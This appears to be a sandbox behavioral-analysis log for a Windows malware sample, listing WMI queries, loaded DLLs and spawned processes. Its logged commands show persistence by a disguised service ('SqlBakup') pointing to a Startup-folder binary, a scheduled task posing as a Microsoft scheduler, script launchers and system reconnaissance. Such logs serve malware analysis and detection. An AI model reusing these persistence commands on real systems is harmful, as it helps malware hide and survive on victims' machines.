      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;2072&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5640&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;3212&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;6976&quot;::GetOwner
      Source: C:\Windows\System32\tasklist.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle=&quot;5428&quot;::GetOwner
      Source: C:\Windows\System32\find.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\System32\find.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;GD8C7ARN8Q.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;GD8C7ARN8Q.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;GD8C7ARN8Q.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;GD8C7ARN8Q.EXE&apos;
      Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = &apos;GD8C7ARN8Q.EXE&apos;
      Source: C:\Windows\SysWOW64\cmd.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: GD8c7ARn8q.exeReversingLabs: Detection: 78%
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeFile read: C:\Users\user\Desktop\GD8c7ARn8q.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\GD8c7ARn8q.exe "C:\Users\user\Desktop\GD8c7ARn8q.exe"
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /i "dcdcf"
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=auto
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= auto
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ver
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.bat
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /f
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /f
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c echo %date%-%time%
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "os name"
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I /c "dcdcf"
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"
      Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\SYSTEM32\cmd.exe /c ""C:\Users\user\AppData\S-2153.bat""
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfo
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "original"
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ver
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs"
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /v
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /I /c "dcdcf"
      Source: unknownProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe"
      Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreak
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c tasklist /v /fo csv | findstr /i "dcdcf"Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=autoJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cd "%SystemDrive%\Users\%username%\AppData\"&S-2153.batJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\S-2153.bat'" /fJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c echo %date%-%time%Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "os name"Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c systeminfo|find /i "original"Jump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c verJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /v /fo csvJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /i "dcdcf"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start=autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\sc.exe sc create SqlBakup binPath= "C:\Documents and Settings\user\Start Menu\Programs\Startup\Xinfecter.exe" start= autoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" Jump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.batJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\user\AppData\S-2153.bat'" /fJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "os name"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /vJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I /c "dcdcf" Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist /fi "ImageName eq GD8c7ARn8q.exe" /fo csv Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /I "GD8c7ARn8q.exe"Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\timeout.exe timeout /t 15 /nobreakJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknownJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\systeminfo.exe systeminfoJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\find.exe find /i "original"Jump to behavior
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\S-8459.vbs" Jump to behavior
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /C echo C:\Users\user\AppData\S-6748.bat
      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\S-6748.bat" "
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist /v
      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find /I /c "dcdcf"
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: netapi32.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: samcli.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: dsrole.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: samlib.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: winnsi.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: napinsp.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: pnrpnsp.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: wshbth.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: nlaapi.dllJump to behavior
      Source: C:\Users\user\Desktop\GD8c7ARn8q.exeSection loaded: winrnr.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: edputil.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: windows.staterepositoryps.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: policymanager.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: msvcp110_win.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: appresolver.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: bcp47langs.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: slc.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sppc.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecorecommonproxystub.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: pcacli.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeSection loaded: sfc_os.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
